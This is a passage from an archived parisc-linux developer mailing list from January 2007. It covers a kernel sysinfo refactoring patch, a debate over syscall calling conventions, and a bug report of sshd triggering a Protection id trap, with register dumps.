@@ -1459,22 +1458,31 @@ asmlinkage long sys_sysinfo(struct sysinfo __user *info)
 
 	/*
 	 * If mem_total did not overflow, multiply all memory values by
-	 * val.mem_unit and set it to 1.  This leaves things compatible
+	 * info->mem_unit and set it to 1.  This leaves things compatible
 	 * with 2.2.x, and also retains compatibility with earlier 2.4.x
 	 * kernels...
 	 */
 
-	val.mem_unit = 1;
-	val.totalram <<= bitcount;
-	val.freeram <<= bitcount;
-	val.sharedram <<= bitcount;
-	val.bufferram <<= bitcount;
-	val.totalswap <<= bitcount;
-	val.freeswap <<= bitcount;
-	val.totalhigh <<= bitcount;
-	val.freehigh <<= bitcount;
+	info->mem_unit = 1;
+	info->totalram <<= bitcount;
+	info->freeram <<= bitcount;
+	info->sharedram <<= bitcount;
+	info->bufferram <<= bitcount;
+	info->totalswap <<= bitcount;
+	info->freeswap <<= bitcount;
+	info->totalhigh <<= bitcount;
+	info->freehigh <<= bitcount;
+
+out:
+	return 0;
+}
+
+asmlinkage long sys_sysinfo(struct sysinfo __user *info)
+{
+	struct sysinfo val;
+
+	do_sysinfo(&val);
 
- out:
 	if (copy_to_user(info, &val, sizeof(struct sysinfo)))
 		return -EFAULT;
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Common compat_sys_sysinfo
Date: Sun, 7 Jan 2007 15:31:30 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20070107223130.GR24620__7737.88526789776$1416624257$gmane$org@parisc-linux.org>
References: <20070107144850.GB3207@athena.road.mcmartin.ca>
	<20070107151319.GA23478@infradead.org>
	<20070107151817.GN24620@parisc-linux.org>
	<119aab440701071422x2041a7b9lf5361c15a001d954@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624257 22385 80.91.229.3 (22 Nov 2014 02:44:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:17 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2007 22:31:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx095) with SMTP; 07 Jan 2007 23:31:40 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 035D87D615;
	Sun,  7 Jan 2007 15:31:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31264-09; Sun, 7 Jan 2007 15:31:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E228E7D635;
	Sun,  7 Jan 2007 15:31:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6EE677D420
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 15:31:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31409-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Jan 2007 15:31:30 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E13367D419
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 15:31:30 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id A0007494003; Sun,  7 Jan 2007 15:31:30 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <119aab440701071422x2041a7b9lf5361c15a001d954@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /UaHbXGBLi5nE/fRZWtpUMNjZml1ZFhB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24224

On Sun, Jan 07, 2007 at 05:22:45PM -0500, Carlos O'Donell wrote:
> On 1/7/07, Matthew Wilcox <matthew@wil.cx> wrote:
> >I think the Right Way to fix this is for some gcc hacker to implement an
> >__attribute__((packed_args)) that changes the calling convention for
> >that function, then we can define asmlinkage to use that on mips and
> >parisc.
> >
> >Any budding gcc hackers out there?  ;-)
> 
> The kernel syscall interface is by definition a different calling
> convention. On parisc the arguments are packed, and we have 6 argument
> registers. Would it be more usefull to say "__attribute__((syscall))"
> and let the compiler DTRT?
> 
> I'm sure this has been proposed by someone else?

That seems like the same as my suggestion, except for the spelling
(syscall vs packed_args).  Did I miss something?

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Mon, 8 Jan 2007 14:31:20 +0100
Lines: 112
Approved: news@gmane.org
Message-ID: <7d01f9f00701080531j1f464ebav3b3024beaa814c29__31219.2013291225$1416624257$gmane$org@mail.gmail.com>
References: <7d01f9f00701051834l4766fe0aya242c808bffbc407@mail.gmail.com>
	<200701061818.l06II9wm002956@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624257 22390 80.91.229.3 (22 Nov 2014 02:44:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2007 13:31:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 08 Jan 2007 14:31:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F32857D41F;
	Mon,  8 Jan 2007 06:31:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06039-05; Mon, 8 Jan 2007 06:31:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 644587D420;
	Mon,  8 Jan 2007 06:31:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3261A7D417
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 06:31:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05678-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Jan 2007 06:31:22 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.169])
	by free.linux.hp.com (Postfix) with ESMTP id 4968B7D97D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 06:31:22 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so6586765ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 08 Jan 2007 05:31:21 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=SO54Vd3PuVM/GwHFkxvWnR6fFElaGhhZ4471k7bwPXv3hVO6dtb1AG/LiU+VzpusFuPgogeVuc0hjev4QPnR6SlfuE9v/VFYKaVH4D6vAUBwi7dNMjOYkiHOPQ1SZjXtuDk3SfW4JQ1JiASBbGRKriqOm9gTDP6nGW9ynDXIwGk=
Original-Received: by 10.78.171.13 with SMTP id t13mr3990028hue.1168263080739;
	Mon, 08 Jan 2007 05:31:20 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Mon, 8 Jan 2007 05:31:20 -0800 (PST)
In-Reply-To: <200701061818.l06II9wm002956@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: d4c73970cc5b2d95
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9jLDIa4wa0AoXL6aejEzk1k3Njh6dM47
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24225

On 1/6/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > After another attempt I could eventually log in again and thought this
> > "wasn't much" (so to speak). Then after a few more hours I realized
> > the loadavg on the machine was abnormally high. A sshd process was
> > taking 100% of CPU time. I tried to kill it (with SIGTERM first,
> > twice), and as it wouldn't terminate I issued a SIGKILL, which had the
> > very nice effect of taking down the whole machine, spitting endless
> > regdumps on the console (see the last dump of the following log).
> >
> > The console log / short story is here:
> > http://www.pateam.org/archive/dumps/sshd-code27
>
> This appears to be the same problem as I'm having killing hung
> java processes.  When I went in this morning to reboot the machine,
> it was looping endlessly at the same spot.  It had some hung java
> processes and I had tried to do a "shutdown -r +0".  I'm seeing
> this with 32bit UP kernel, so I don't think using a UP kernel is
> a workaround.
>
> I'd look at the dumps for the protection id traps.  Possibly,
> there might be a clue there as to what went wrong.

It's possible this bug has been there for a longer time than first
tought: here's what happened on my B180 running 2.6.8.1 and debian
sarge:

       _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
sshd (pid 5877): Protection id trap (code 27)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111110100001111 Not tainted
r00-03  00000000 103d0c40 10176cb0 2755ef40
r04-07  00000001 0007c7b0 000000c9 2755ef40
r08-11  00000000 0007c7b8 00000001 fffffff2
r12-15  0006bad8 00068cdc 0004d800 0006a4dc
r16-19  00068cdc 0006a4dc 0006b4dc 00000001
r20-23  00000001 00000003 0007c7b6 2755ef4e
r24-27  00000000 00000001 2232ff00 10309010
r28-31  00000001 00000004 1dad4140 10176aa0
sr0-3   00000000 000030d8 00000000 000030da
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10176d84 10176d88
 IIR: 0ed3d240    ISR: 000030da  IOR: 0007c7b6
 CPU:        0   CR30: 1dad4000 CR31: 10360000
 ORIG_R28: 0006a4dc
 IAOQ[0]: sys_poll+0x1f4/0x218
 IAOQ[1]: sys_poll+0x1f8/0x218
 RP(r2): sys_poll+0x120/0x218
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
sshd (pid 29561): Protection id trap (code 27)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111110000001111 Not tainted
r00-03  00000000 103d0c40 10176cb0 204e0dc0
r04-07  00000001 0007c778 000000c9 204e0dc0
r08-11  00000000 0007c780 00000001 fffffff2
r12-15  0006bad8 00068cdc 0004d800 0006a4dc
r16-19  00068cdc 0006a4dc 0006b4dc 00000001
r20-23  00000001 00000003 0007c77e 204e0dce
r24-27  00000000 00000001 1f46c800 10309010
r28-31  00000001 00000004 13d8c140 10176aa0
sr0-3   00000000 00004ea1 00000000 00004ea3
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10176d84 10176d88
 IIR: 0ed3d240    ISR: 00004ea3  IOR: 0007c77e
 CPU:        0   CR30: 13d8c000 CR31: 10360000
 ORIG_R28: 0006a4dc
 IAOQ[0]: sys_poll+0x1f4/0x218
 IAOQ[1]: sys_poll+0x1f8/0x218
 RP(r2): sys_poll+0x120/0x218


[varenet@greg ~]$ dpkg -l ssh
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  ssh            3.8.1p1-8.sarg Secure rlogin/rsh/rcp replacement (OpenSSH)
[varenet@greg ~]$ uname -a
Linux greg 2.6.8.1-pa11 #1 Thu Oct 28 15:02:44 CEST 2004 parisc GNU/Linux


HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Mon, 8 Jan 2007 09:25:48 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200701081425.l08EPnjM001271__21132.8706740916$1416624257$gmane$org@hiauly1.hia.nrc.ca>
References: <7d01f9f00701080531j1f464ebav3b3024beaa814c29@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624257 22398 80.91.229.3 (22 Nov 2014 02:44:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2007 14:26:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 08 Jan 2007 15:26:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82F6C7D9CC;
	Mon,  8 Jan 2007 07:26:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07594-05; Mon, 8 Jan 2007 07:26:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA35D7D9BF;
	Mon,  8 Jan 2007 07:26:02 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B18FD7D9BC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 07:25:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07594-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Jan 2007 07:25:53 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0C7877D97E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 07:25:52 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l08EPoNK001290;
	Mon, 8 Jan 2007 09:25:50 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l08EPnjM001271;
	Mon, 8 Jan 2007 09:25:49 -0500 (EST)
In-Reply-To: <7d01f9f00701080531j1f464ebav3b3024beaa814c29@mail.gmail.com>
	from "Thibaut VARENE" at Jan 8, 2007 02:31:20 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0CDHNT9HZCEXX7GPamwhJdZwIGhpZUY3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24226

> > > The console log / short story is here:
> > > http://www.pateam.org/archive/dumps/sshd-code27
> >
> > This appears to be the same problem as I'm having killing hung
> > java processes.

I managed to get gdb backtraces for the hung java processes yesterday.
It looks like the hang could be a result of the clone bug in glibc.
clone is used in thread creation.

Of course, this doesn't explain why killing the processes crashes the
system.

>  IAOQ[1]: sys_poll+0x1f8/0x218
>  RP(r2): sys_poll+0x120/0x218

I've seen an infinite loop in sys_poll as well.

I agree the problem has been around for a long time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Common compat_sys_sysinfo
Date: Mon, 08 Jan 2007 07:27:30 +0800
Lines: 16
Approved: news@gmane.org
Message-ID: <45A181E2.9020609__16952.7263533839$1416624258$gmane$org@tausq.org>
References: <20070107144850.GB3207@athena.road.mcmartin.ca>	<20070107151319.GA23478@infradead.org>	<20070107151817.GN24620@parisc-linux.org>	<119aab440701071422x2041a7b9lf5361c15a001d954@mail.gmail.com>
	<20070107223130.GR24620@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624258 22415 80.91.229.3 (22 Nov 2014 02:44:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:18 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2007 23:28:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 08 Jan 2007 00:28:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6DC607DA61;
	Sun,  7 Jan 2007 16:28:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31714-08; Sun, 7 Jan 2007 16:28:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C30267DA32;
	Sun,  7 Jan 2007 16:28:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D34157D9FB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 16:28:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31714-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Jan 2007 16:28:28 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 0C4967D9E9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 16:28:28 -0700 (MST)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1H3hQI-0006D7-48; Mon, 08 Jan 2007 07:27:30 +0800
User-Agent: Thunderbird 1.5.0.2 (X11/20060516)
In-Reply-To: <20070107223130.GR24620@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bcTHLz9QaHI+XKWnKSUlraNqamdhZETd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24227

>> I'm sure this has been proposed by someone else?
> 
> That seems like the same as my suggestion, except for the spelling
> (syscall vs packed_args).  Did I miss something?

If you change this now, wouldn't it break existing binaries? I hope we 
don't end up with some syscalls using one convention and others using a 
different convention...

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Common compat_sys_sysinfo
Date: Sun, 7 Jan 2007 16:39:31 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20070107233931.GT24620__1731.05450016937$1416624258$gmane$org@parisc-linux.org>
References: <20070107144850.GB3207@athena.road.mcmartin.ca>
	<20070107151319.GA23478@infradead.org>
	<20070107151817.GN24620@parisc-linux.org>
	<119aab440701071422x2041a7b9lf5361c15a001d954@mail.gmail.com>
	<20070107223130.GR24620@parisc-linux.org>
	<45A181E2.9020609@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624258 22420 80.91.229.3 (22 Nov 2014 02:44:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:18 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2007 23:39:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 08 Jan 2007 00:39:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8CC57DA2B;
